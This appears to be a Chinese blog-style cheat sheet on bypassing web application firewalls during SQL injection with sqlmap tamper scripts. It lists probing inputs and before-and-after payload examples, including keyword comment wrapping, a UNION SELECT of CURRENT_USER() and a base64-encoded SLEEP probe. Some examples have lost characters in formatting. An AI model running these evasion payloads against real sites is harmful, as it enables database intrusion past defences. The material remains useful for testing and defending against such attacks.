### 现象:
当我们注入的时候,发现有狗,有waf,真的是我的小心脏都碎掉了!!但是呢,很多时候还是得静下来分析过滤系统到底过滤了哪些参数,该如何绕过。利用sqlmap中的tamper给我们带来了很多防过滤的脚本绕过。
提示“输入内容存在危险字符,已经被拦截”
提示“请不要尝试在参数中包含非法字符尝试注入”
### 判断我们使用那种脚本
1,id=1空格 测试空格
2,id=1%201=1 测试等号
3,id=1%201=1 select 测试select
......
### 字符被过滤了,使用的py
1,空格被过滤了---->[space2commnet.py]()
* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
空格被过滤了----->[space2bash.py]()
空格被过滤了----->[space2morebash.py]()---->#代替
空格被过滤了----->[space2plus.py]()------+代替
2, 单引号被过滤了--->[apostrophemask.py]()---->utf_8代替引号
双引号绕过---->[apostrophenullencode.py]()
Example:
tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
3,等号被过滤了----->[equaltolike.py]()------>like代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1
4,>被过滤了------>[greatest.py]()-------->用GREATEST代替
Example:
('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
------->[between.py]()
Example:
('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
5,双引号,替换字符和双引号被过滤--->[apostrophenullencode.py]()
Example:
("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
6,数据库是mysql时--->[halfversionedmorekeywords.py]()
6,加载零字节字符----->[appendnullbyte.py]()
Example: ('1 AND 1=1') '1 AND 1=1%00'
url编码转换------>[charencode.py]()
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
字符串 unicode 编码绕过--->[charunicodeencode.py]()
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output:%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046
大小写的转换----->[randomcase.py]()
Input: INSERT
Output: InsERt
宽字符绕过---->[unmagicquotes.py]()
Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
用/**/分割sql关键字--->[randomcomments.py]()
Example:
‘INSERT’ becomes ‘IN//S//ERT’
关键字前加注释绕过---->[versionedmorekeywords.py]()
Example:
* Input: 1 UNION ALL SELECT NULL, NULL,
CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*
/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
用base64绕过
Example:
("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
这里有两份汇总的文件,大家需要的可以下载一下。
后期会继续添加的,有错误或者更好的,可以留言,大家相互学习!!